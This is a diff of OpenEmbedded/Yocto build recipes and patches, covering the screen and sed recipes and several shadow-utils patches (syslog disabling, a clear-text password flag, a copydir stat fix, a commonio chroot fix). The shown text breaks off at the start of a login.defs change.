@@ -35,17 +33,17 @@ PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=n
35EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \ 33EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
36 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}" 34 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
37 35
38do_install_append () { 36do_install:append () {
39 install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc 37 install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
40 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then 38 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
41 install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen 39 install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
42 fi 40 fi
43} 41}
44 42
45pkg_postinst_${PN} () { 43pkg_postinst:${PN} () {
46 grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells 44 grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
47} 45}
48 46
49pkg_postrm_${PN} () { 47pkg_postrm:${PN} () {
50 printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells 48 printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
51} 49}
diff --git a/meta/recipes-extended/sed/sed/run-ptest b/meta/recipes-extended/sed/sed/run-ptest
index 993d7d5d75..0460c7961f 100644
--- a/meta/recipes-extended/sed/sed/run-ptest
+++ b/meta/recipes-extended/sed/sed/run-ptest
@@ -2,4 +2,4 @@
2 2
3chown nobody testsuite 3chown nobody testsuite
4chown nobody ../ptest 4chown nobody ../ptest
5su nobody -c "make test-suite.log" 5su nobody -s /bin/sh -c "make test-suite.log"
diff --git a/meta/recipes-extended/sed/sed_4.8.bb b/meta/recipes-extended/sed/sed_4.9.bb
index 048db47e14..c4d89c34b2 100644
--- a/meta/recipes-extended/sed/sed_4.8.bb
+++ b/meta/recipes-extended/sed/sed_4.9.bb
@@ -1,8 +1,9 @@
1SUMMARY = "Stream EDitor (text filtering utility)" 1SUMMARY = "Stream EDitor (text filtering utility)"
2HOMEPAGE = "http://www.gnu.org/software/sed/" 2HOMEPAGE = "http://www.gnu.org/software/sed/"
3LICENSE = "GPLv3+" 3DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor."
4LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \ 4LICENSE = "GPL-3.0-or-later"
5 file://sed/sed.h;beginline=1;endline=15;md5=fb3c7e6fbca6f66943859153d4be8efe \ 5LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
6 file://sed/sed.h;beginline=1;endline=15;md5=4e8e0f77bc4c1c2c02c2b90d3d24c670 \
6 " 7 "
7SECTION = "console/utils" 8SECTION = "console/utils"
8 9
@@ -10,15 +11,14 @@ SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.xz \
10 file://run-ptest \ 11 file://run-ptest \
11" 12"
12 13
13SRC_URI[md5sum] = "6d906edfdb3202304059233f51f9a71d" 14SRC_URI[sha256sum] = "6e226b732e1cd739464ad6862bd1a1aba42d7982922da7a53519631d24975181"
14SRC_URI[sha256sum] = "f79b0cfea71b37a8eeec8490db6c5f7ae7719c35587f21edb0617f370eeff633"
15 15
16inherit autotools texinfo update-alternatives gettext ptest 16inherit autotools texinfo update-alternatives gettext ptest
17 17
18PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux" 18PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
19 19
20RDEPENDS_${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat" 20RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
21RRECOMMENDS_${PN}-ptest_append_libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7" 21RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
22 22
23EXTRA_OECONF = "--disable-acl \ 23EXTRA_OECONF = "--disable-acl \
24 " 24 "
@@ -32,7 +32,7 @@ do_install () {
32 fi 32 fi
33} 33}
34 34
35ALTERNATIVE_${PN} = "sed" 35ALTERNATIVE:${PN} = "sed"
36ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed" 36ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
37ALTERNATIVE_PRIORITY = "100" 37ALTERNATIVE_PRIORITY = "100"
38 38
@@ -62,6 +62,6 @@ do_install_ptest() {
62 -i ${D}${PTEST_PATH}/Makefile 62 -i ${D}${PTEST_PATH}/Makefile
63} 63}
64 64
65RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}" 65RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
66 66
67BBCLASSEXTEND = "nativesdk" 67BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
deleted file mode 100644
index ab317b9aa0..0000000000
--- a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
+++ /dev/null
@@ -1,123 +0,0 @@
1From fa2d9453656641002802d8165e80adb9e6a729d2 Mon Sep 17 00:00:00 2001
2From: Scott Garman <scott.a.garman@intel.com>
3Date: Thu, 14 Apr 2016 12:28:57 +0200
4Subject: [PATCH] Disable use of syslog for sysroot
5
6Disable use of syslog to prevent sysroot user and group additions from
7writing entries to the host's syslog. This patch should only be used
8with the shadow-native recipe.
9
10Upstream-Status: Inappropriate [disable feature]
11
12Signed-off-by: Scott Garman <scott.a.garman@intel.com>
13Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
14Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
15
16---
17 src/groupadd.c | 3 +++
18 src/groupdel.c | 3 +++
19 src/groupmems.c | 3 +++
20 src/groupmod.c | 3 +++
21 src/useradd.c | 3 +++
22 src/userdel.c | 3 +++
23 src/usermod.c | 3 +++
24 7 files changed, 21 insertions(+)
25
26diff --git a/src/groupadd.c b/src/groupadd.c
27index 2dd8eec..e9c4bb7 100644
28--- a/src/groupadd.c
29+++ b/src/groupadd.c
30@@ -34,6 +34,9 @@
31
32 #ident "$Id$"
33
34+/* Disable use of syslog since we're running this command against a sysroot */
35+#undef USE_SYSLOG
36+
37 #include <ctype.h>
38 #include <fcntl.h>
39 #include <getopt.h>
40diff --git a/src/groupdel.c b/src/groupdel.c
41index f941a84..5a70056 100644
42--- a/src/groupdel.c
43+++ b/src/groupdel.c
44@@ -34,6 +34,9 @@
45
46 #ident "$Id$"
47
48+/* Disable use of syslog since we're running this command against a sysroot */
49+#undef USE_SYSLOG
50+
51 #include <ctype.h>
52 #include <fcntl.h>
53 #include <grp.h>
54diff --git a/src/groupmems.c b/src/groupmems.c
55index fc91c8b..2842514 100644
56--- a/src/groupmems.c
57+++ b/src/groupmems.c
58@@ -32,6 +32,9 @@
59
60 #include <config.h>
61
62+/* Disable use of syslog since we're running this command against a sysroot */
63+#undef USE_SYSLOG
64+
65 #include <fcntl.h>
66 #include <getopt.h>
67 #include <grp.h>
68diff --git a/src/groupmod.c b/src/groupmod.c
69index 1dca5fc..bc14438 100644
70--- a/src/groupmod.c
71+++ b/src/groupmod.c
72@@ -34,6 +34,9 @@
73
74 #ident "$Id$"
75
76+/* Disable use of syslog since we're running this command against a sysroot */
77+#undef USE_SYSLOG
78+
79 #include <ctype.h>
80 #include <fcntl.h>
81 #include <getopt.h>
82diff --git a/src/useradd.c b/src/useradd.c
83index 4af0f7c..1b7bf06 100644
84--- a/src/useradd.c
85+++ b/src/useradd.c
86@@ -34,6 +34,9 @@
87
88 #ident "$Id$"
89
90+/* Disable use of syslog since we're running this command against a sysroot */
91+#undef USE_SYSLOG
92+
93 #include <assert.h>
94 #include <ctype.h>
95 #include <errno.h>
96diff --git a/src/userdel.c b/src/userdel.c
97index cc951e5..153e0be 100644
98--- a/src/userdel.c
99+++ b/src/userdel.c
100@@ -34,6 +34,9 @@
101
102 #ident "$Id$"
103
104+/* Disable use of syslog since we're running this command against a sysroot */
105+#undef USE_SYSLOG
106+
107 #include <assert.h>
108 #include <errno.h>
109 #include <fcntl.h>
110diff --git a/src/usermod.c b/src/usermod.c
111index 05b9871..21c6da9 100644
112--- a/src/usermod.c
113+++ b/src/usermod.c
114@@ -34,6 +34,9 @@
115
116 #ident "$Id$"
117
118+/* Disable use of syslog since we're running this command against a sysroot */
119+#undef USE_SYSLOG
120+
121 #include <assert.h>
122 #include <ctype.h>
123 #include <errno.h>
diff --git a/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
new file mode 100644
index 0000000000..2e5503bfd4
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
@@ -0,0 +1,37 @@
1From af4b8cb780587aa736692a3baa76b60474f19c5d Mon Sep 17 00:00:00 2001
2From: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
3Date: Mon, 18 Mar 2024 12:14:21 +0100
4Subject: [PATCH] lib/copydir:copy_entry(): use temporary stat buffer
5
6There are no guarantees that fstatat() does not clobber the stat
7buffer on errors.
8
9Use a temporary buffer so that the following code sees correct
10attributes of the source entry.
11
12Upstream-Status: Submitted [https://github.com/shadow-maint/shadow/pull/974]
13
14Signed-off-by: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
15---
16 lib/copydir.c | 3 ++-
17 1 file changed, 2 insertions(+), 1 deletion(-)
18
19--- a/lib/copydir.c
20+++ b/lib/copydir.c
21@@ -400,6 +400,7 @@ static int copy_entry (const struct path
22 {
23 int err = 0;
24 struct stat sb;
25+ struct stat tmp_sb;
26 struct link_name *lp;
27 struct timespec mt[2];
28
29@@ -423,7 +424,7 @@ static int copy_entry (const struct path
30 * If the destination already exists do nothing.
31 * This is after the copy_dir above to still iterate into subdirectories.
32 */
33- if (fstatat(dst->dirfd, dst->name, &sb, AT_SYMLINK_NOFOLLOW) != -1) {
34+ if (fstatat(dst->dirfd, dst->name, &tmp_sb, AT_SYMLINK_NOFOLLOW) != -1) {
35 return err;
36 }
37
diff --git a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch b/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
deleted file mode 100644
index c6332e4f76..0000000000
--- a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
+++ /dev/null
@@ -1,301 +0,0 @@
1From a7d995228491ad5255ad86c1f04ba071f6880897 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Sat, 16 Nov 2013 15:27:47 +0800
4Subject: [PATCH] Allow for setting password in clear text
5
6Upstream-Status: Inappropriate [OE specific]
7
8Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
9
10---
11 src/Makefile.am | 8 ++++----
12 src/groupadd.c | 20 +++++++++++++++-----
13 src/groupmod.c | 20 +++++++++++++++-----
14 src/useradd.c | 21 +++++++++++++++------
15 src/usermod.c | 20 +++++++++++++++-----
16 5 files changed, 64 insertions(+), 25 deletions(-)
17
18diff --git a/src/Makefile.am b/src/Makefile.am
19index f31fd7a..4a317a3 100644
20--- a/src/Makefile.am
21+++ b/src/Makefile.am
22@@ -103,10 +103,10 @@ chsh_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT_NOPAM)
23 chpasswd_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
24 expiry_LDADD = $(LDADD) $(LIBECONF)
25 gpasswd_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
26-groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
27+groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
28 groupdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
29 groupmems_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
30-groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
31+groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
32 grpck_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
33 grpconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
34 grpunconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
35@@ -127,9 +127,9 @@ su_SOURCES = \
36 suauth.c
37 su_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD) $(LIBECONF)
38 sulogin_LDADD = $(LDADD) $(LIBCRYPT) $(LIBECONF)
39-useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
40+useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
41 userdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBECONF)
42-usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
43+usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
44 vipw_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
45
46 install-am: all-am
47diff --git a/src/groupadd.c b/src/groupadd.c
48index e9c4bb7..d572c00 100644
49--- a/src/groupadd.c
50+++ b/src/groupadd.c
51@@ -127,9 +127,10 @@ static /*@noreturn@*/void usage (int status)
52 (void) fputs (_(" -o, --non-unique allow to create groups with duplicate\n"
53 " (non-unique) GID\n"), usageout);
54 (void) fputs (_(" -p, --password PASSWORD use this encrypted password for the new group\n"), usageout);
55+ (void) fputs (_(" -P, --clear-password PASSWORD use this clear password for the new group\n"), usageout);
56 (void) fputs (_(" -r, --system create a system account\n"), usageout);
57 (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
58- (void) fputs (_(" -P, --prefix PREFIX_DIR directory prefix\n"), usageout);
59+ (void) fputs (_(" -A, --prefix PREFIX_DIR directory prefix\n"), usageout);
60 (void) fputs ("\n", usageout);
61 exit (status);
62 }
63@@ -391,13 +392,14 @@ static void process_flags (int argc, char **argv)
64 {"key", required_argument, NULL, 'K'},
65 {"non-unique", no_argument, NULL, 'o'},
66 {"password", required_argument, NULL, 'p'},
67+ {"clear-password", required_argument, NULL, 'P'},
68 {"system", no_argument, NULL, 'r'},
69 {"root", required_argument, NULL, 'R'},
70- {"prefix", required_argument, NULL, 'P'},
71+ {"prefix", required_argument, NULL, 'A'},
72 {NULL, 0, NULL, '\0'}
73 };
74
75- while ((c = getopt_long (argc, argv, "fg:hK:op:rR:P:",
76+ while ((c = getopt_long (argc, argv, "fg:hK:op:P:rR:A:",
77 long_options, NULL)) != -1) {
78 switch (c) {
79 case 'f':
80@@ -449,12 +451,20 @@ static void process_flags (int argc, char **argv)
81 pflg = true;
82 group_passwd = optarg;
83 break;
84+ case 'P':
85+ pflg = true;
86+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
87+ break;
88 case 'r':
89 rflg = true;
90 break;
91 case 'R': /* no-op, handled in process_root_flag () */
92 break;
93- case 'P': /* no-op, handled in process_prefix_flag () */
94+ case 'A': /* no-op, handled in process_prefix_flag () */
95+ fprintf (stderr,
96+ _("%s: -A is deliberately not supported \n"),
97+ Prog);
98+ exit (E_BAD_ARG);
99 break;
100 default:
101 usage (E_USAGE);
102@@ -588,7 +598,7 @@ int main (int argc, char **argv)
103 (void) textdomain (PACKAGE);
104
105 process_root_flag ("-R", argc, argv);
106- prefix = process_prefix_flag ("-P", argc, argv);
107+ prefix = process_prefix_flag ("-A", argc, argv);
108
109 OPENLOG ("groupadd");
110 #ifdef WITH_AUDIT
111diff --git a/src/groupmod.c b/src/groupmod.c
112index bc14438..25ccb44 100644
113--- a/src/groupmod.c
114+++ b/src/groupmod.c
115@@ -138,8 +138,9 @@ static void usage (int status)
116 (void) fputs (_(" -o, --non-unique allow to use a duplicate (non-unique) GID\n"), usageout);
117 (void) fputs (_(" -p, --password PASSWORD change the password to this (encrypted)\n"
118 " PASSWORD\n"), usageout);
119+ (void) fputs (_(" -P, --clear-password PASSWORD change the password to this clear PASSWORD\n"), usageout);
120 (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
121- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
122+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
123 (void) fputs ("\n", usageout);
124 exit (status);
125 }
126@@ -387,11 +388,12 @@ static void process_flags (int argc, char **argv)
127 {"new-name", required_argument, NULL, 'n'},
128 {"non-unique", no_argument, NULL, 'o'},
129 {"password", required_argument, NULL, 'p'},
130+ {"clear-password", required_argument, NULL, 'P'},
131 {"root", required_argument, NULL, 'R'},
132- {"prefix", required_argument, NULL, 'P'},
133+ {"prefix", required_argument, NULL, 'A'},
134 {NULL, 0, NULL, '\0'}
135 };
136- while ((c = getopt_long (argc, argv, "g:hn:op:R:P:",
137+ while ((c = getopt_long (argc, argv, "g:hn:op:P:R:A:",
138 long_options, NULL)) != -1) {
139 switch (c) {
140 case 'g':
141@@ -418,9 +420,17 @@ static void process_flags (int argc, char **argv)
142 group_passwd = optarg;
143 pflg = true;
144 break;
145+ case 'P':
146+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
147+ pflg = true;
148+ break;
149 case 'R': /* no-op, handled in process_root_flag () */
150 break;
151- case 'P': /* no-op, handled in process_prefix_flag () */
152+ case 'A': /* no-op, handled in process_prefix_flag () */
153+ fprintf (stderr,
154+ _("%s: -A is deliberately not supported \n"),
155+ Prog);
156+ exit (E_BAD_ARG);
157 break;
158 default:
159 usage (E_USAGE);
160@@ -761,7 +771,7 @@ int main (int argc, char **argv)
161 (void) textdomain (PACKAGE);
162
163 process_root_flag ("-R", argc, argv);
164- prefix = process_prefix_flag ("-P", argc, argv);
165+ prefix = process_prefix_flag ("-A", argc, argv);
166
167 OPENLOG ("groupmod");
168 #ifdef WITH_AUDIT
169diff --git a/src/useradd.c b/src/useradd.c
170index 1b7bf06..44f09e2 100644
171--- a/src/useradd.c
172+++ b/src/useradd.c
173@@ -853,9 +853,10 @@ static void usage (int status)
174 (void) fputs (_(" -o, --non-unique allow to create users with duplicate\n"
175 " (non-unique) UID\n"), usageout);
176 (void) fputs (_(" -p, --password PASSWORD encrypted password of the new account\n"), usageout);
177+ (void) fputs (_(" -P, --clear-password PASSWORD clear password of the new account\n"), usageout);
178 (void) fputs (_(" -r, --system create a system account\n"), usageout);
179 (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
180- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
181+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
182 (void) fputs (_(" -s, --shell SHELL login shell of the new account\n"), usageout);
183 (void) fputs (_(" -u, --uid UID user ID of the new account\n"), usageout);
184 (void) fputs (_(" -U, --user-group create a group with the same name as the user\n"), usageout);
185@@ -1133,9 +1134,10 @@ static void process_flags (int argc, char **argv)
186 {"no-user-group", no_argument, NULL, 'N'},
187 {"non-unique", no_argument, NULL, 'o'},
188 {"password", required_argument, NULL, 'p'},
189+ {"clear-password", required_argument, NULL, 'P'},
190 {"system", no_argument, NULL, 'r'},
191 {"root", required_argument, NULL, 'R'},
192- {"prefix", required_argument, NULL, 'P'},
193+ {"prefix", required_argument, NULL, 'A'},
194 {"shell", required_argument, NULL, 's'},
195 {"uid", required_argument, NULL, 'u'},
196 {"user-group", no_argument, NULL, 'U'},
197@@ -1146,9 +1148,9 @@ static void process_flags (int argc, char **argv)
198 };
199 while ((c = getopt_long (argc, argv,
200 #ifdef WITH_SELINUX
201- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:UZ:",
202+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:UZ:",
203 #else /* !WITH_SELINUX */
204- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:U",
205+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:U",
206 #endif /* !WITH_SELINUX */
207 long_options, NULL)) != -1) {
208 switch (c) {
209@@ -1320,12 +1322,19 @@ static void process_flags (int argc, char **argv)
210 }
211 user_pass = optarg;
212 break;
213+ case 'P': /* set clear text password */
214+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
215+ break;
216 case 'r':
217 rflg = true;
218 break;
219 case 'R': /* no-op, handled in process_root_flag () */
220 break;
221- case 'P': /* no-op, handled in process_prefix_flag () */
222+ case 'A': /* no-op, handled in process_prefix_flag () */
223+ fprintf (stderr,
224+ _("%s: -A is deliberately not supported \n"),
225+ Prog);
226+ exit (E_BAD_ARG);
227 break;
228 case 's':
229 if ( ( !VALID (optarg) )
230@@ -2257,7 +2266,7 @@ int main (int argc, char **argv)
231
232 process_root_flag ("-R", argc, argv);
233
234- prefix = process_prefix_flag("-P", argc, argv);
235+ prefix = process_prefix_flag("-A", argc, argv);
236
237 OPENLOG ("useradd");
238 #ifdef WITH_AUDIT
239diff --git a/src/usermod.c b/src/usermod.c
240index 21c6da9..cffdb3e 100644
241--- a/src/usermod.c
242+++ b/src/usermod.c
243@@ -431,8 +431,9 @@ static /*@noreturn@*/void usage (int status)
244 " new location (use only with -d)\n"), usageout);
245 (void) fputs (_(" -o, --non-unique allow using duplicate (non-unique) UID\n"), usageout);
246 (void) fputs (_(" -p, --password PASSWORD use encrypted password for the new password\n"), usageout);
247+ (void) fputs (_(" -P, --clear-password PASSWORD use clear password for the new password\n"), usageout);
248 (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
249- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
250+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
251 (void) fputs (_(" -s, --shell SHELL new login shell for the user account\n"), usageout);
252 (void) fputs (_(" -u, --uid UID new UID for the user account\n"), usageout);
253 (void) fputs (_(" -U, --unlock unlock the user account\n"), usageout);
254@@ -1010,8 +1011,9 @@ static void process_flags (int argc, char **argv)
255 {"move-home", no_argument, NULL, 'm'},
256 {"non-unique", no_argument, NULL, 'o'},
257 {"password", required_argument, NULL, 'p'},
258+ {"clear-password", required_argument, NULL, 'P'},
259 {"root", required_argument, NULL, 'R'},
260- {"prefix", required_argument, NULL, 'P'},
261+ {"prefix", required_argument, NULL, 'A'},
262 {"shell", required_argument, NULL, 's'},
263 {"uid", required_argument, NULL, 'u'},
264 {"unlock", no_argument, NULL, 'U'},
265@@ -1027,7 +1029,7 @@ static void process_flags (int argc, char **argv)
266 {NULL, 0, NULL, '\0'}
267 };
268 while ((c = getopt_long (argc, argv,
269- "abc:d:e:f:g:G:hl:Lmop:R:s:u:UP:"
270+ "abc:d:e:f:g:G:hl:Lmop:P:R:s:u:UA:"
271 #ifdef ENABLE_SUBIDS
272 "v:w:V:W:"
273 #endif /* ENABLE_SUBIDS */
274@@ -1130,9 +1132,17 @@ static void process_flags (int argc, char **argv)
275 user_pass = optarg;
276 pflg = true;
277 break;
278+ case 'P':
279+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
280+ pflg = true;
281+ break;
282 case 'R': /* no-op, handled in process_root_flag () */
283 break;
284- case 'P': /* no-op, handled in process_prefix_flag () */
285+ case 'A': /* no-op, handled in process_prefix_flag () */
286+ fprintf (stderr,
287+ _("%s: -A is deliberately not supported \n"),
288+ Prog);
289+ exit (E_BAD_ARG);
290 break;
291 case 's':
292 if (!VALID (optarg)) {
293@@ -2127,7 +2137,7 @@ int main (int argc, char **argv)
294 (void) textdomain (PACKAGE);
295
296 process_root_flag ("-R", argc, argv);
297- prefix = process_prefix_flag ("-P", argc, argv);
298+ prefix = process_prefix_flag ("-A", argc, argv);
299
300 OPENLOG ("usermod");
301 #ifdef WITH_AUDIT
diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
index 9825216369..cd99aad135 100644
--- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
+++ b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
@@ -1,4 +1,4 @@
1From 66533c7c6f347d257020675a1ed6e0c59cbbc3f0 Mon Sep 17 00:00:00 2001 1From f512071dd3a4c29d4bf048c5a89c4ba9160e37b1 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com> 2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Thu, 17 Jul 2014 15:53:34 +0800 3Date: Thu, 17 Jul 2014 15:53:34 +0800
4Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env 4Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env
@@ -15,32 +15,31 @@ Note that this patch doesn't change the logic in the code, it just expands
15the codes. 15the codes.
16 16
17Signed-off-by: Chen Qi <Qi.Chen@windriver.com> 17Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
18
19--- 18---
20 lib/commonio.c | 16 ++++++++++++---- 19 lib/commonio.c | 16 ++++++++++++----
21 1 file changed, 12 insertions(+), 4 deletions(-) 20 1 file changed, 12 insertions(+), 4 deletions(-)
22 21
23diff --git a/lib/commonio.c b/lib/commonio.c 22diff --git a/lib/commonio.c b/lib/commonio.c
24index 16fa7e7..d6bc297 100644 23index 01a26c9..82b2868 100644
25--- a/lib/commonio.c 24--- a/lib/commonio.c
26+++ b/lib/commonio.c 25+++ b/lib/commonio.c
27@@ -632,10 +632,18 @@ int commonio_open (struct commonio_db *db, int mode) 26@@ -601,10 +601,18 @@ int commonio_open (struct commonio_db *db, int mode)
28 db->cursor = NULL; 27 db->cursor = NULL;
29 db->changed = false; 28 db->changed = false;
30 29
31- fd = open (db->filename, 30- fd = open (db->filename,
32- (db->readonly ? O_RDONLY : O_RDWR) 31- (db->readonly ? O_RDONLY : O_RDWR)
33- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW); 32- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
34- saved_errno = errno; 33- saved_errno = errno;
35+ if (db->readonly) { 34+ if (db->readonly) {
36+ fd = open (db->filename, 35+ fd = open (db->filename,
37+ (true ? O_RDONLY : O_RDWR) 36+ (true ? O_RDONLY : O_RDWR)
38+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW); 37+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
39+ saved_errno = errno; 38+ saved_errno = errno;
40+ } else { 39+ } else {
41+ fd = open (db->filename, 40+ fd = open (db->filename,
42+ (false ? O_RDONLY : O_RDWR) 41+ (false ? O_RDONLY : O_RDWR)
43+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW); 42+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW| O_CLOEXEC);
44+ saved_errno = errno; 43+ saved_errno = errno;
45+ } 44+ }
46+ 45+
diff --git a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
index 8a68dd341a..09df77d2e7 100644
--- a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
+++ b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
@@ -1,3 +1,4 @@
